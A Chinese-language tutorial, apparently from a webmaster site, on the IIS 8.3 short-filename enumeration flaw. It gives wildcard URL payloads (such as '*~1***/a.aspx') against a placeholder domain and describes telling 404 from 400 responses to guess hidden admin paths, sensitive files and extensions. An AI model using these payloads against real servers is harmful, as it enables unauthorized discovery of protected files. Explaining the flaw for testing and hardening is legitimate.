IIS短文件名的漏洞详解_IIS7站长之家

 时间:2026-02-14 18:43:49

1、为了兼容16位MS-DOS程序,Windows为文件名较长的文件(文件夹)生成了对应的windows8.3短文件名。

在Windows下查看对应的短文件名,可以使用命令 dir /x

2、短文件名有如下特征:

a、只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件,像前六位相同的话,而且后缀前3位必须相同。

b、后缀名最长只有3位,多余的被截断。

3、我们可以启用.net的iis下暴力列举短文件名,原因是:

a、访问构造的某个存在的短文件名,会返回404

b、访问构造的某个不存在的短文件名,会返回400

1、需要使用到通配符*。*可以匹配n个字符,n可以为0.判断某站点是否存在iis段文件名暴力破解,构造payload,分别访问以下两个url

a、http://www.xxxx.com/*~1***/a.aspx

b、http://www.xxxx.com/dad*~1***/a.aspx/

2、如果404 则文件存在,继续猜解

a、http://www.xxxx.com/a*~1***/a.aspx 404

b、http://www.xxxx.com/ad*~1***/a.aspx 404

c、http://www.xxxx.com/adm*~1***/a.aspx

3、依次类推,一个一个枚举就可以进行下去

注意:如果admin开头的是一个文件夹,则

http://www.xxxx.com/admin*~1/a.aspx  会是404的

4、继续猜解

http://www.xxxx.com/admin*~1*g*/a.aspx

如果404,则扩展名肯定有g,按这个思路继续

1、1.猜后台

2、2.猜敏感文件

3、3.一些情况,可以通过短文件名直接下载对应的文件

1、1.只能猜6位,以及扩展名前3位

2、2.名称较短的文件是没有相应的短文件名的

3、3.需要iis和.net两个条件都满足

  • iPhone手机怎么蓝牙配对?
  • iphone12搜不到蓝牙耳机无法配对怎么解决?
  • iPhone无线耳机改名字
  • 苹果蓝牙搜索不到其他设备
  • 苹果手机如何手动连接蓝牙
  • 热门搜索
    旅游拍照姿势大全 西安有什么旅游景点 朝阳旅游景点大全 旅游网排行榜 淮安旅游网 太原有什么旅游景点 河南洛阳旅游景点 华东旅游路线 山东周边旅游景点大全 旅游体验师招聘信息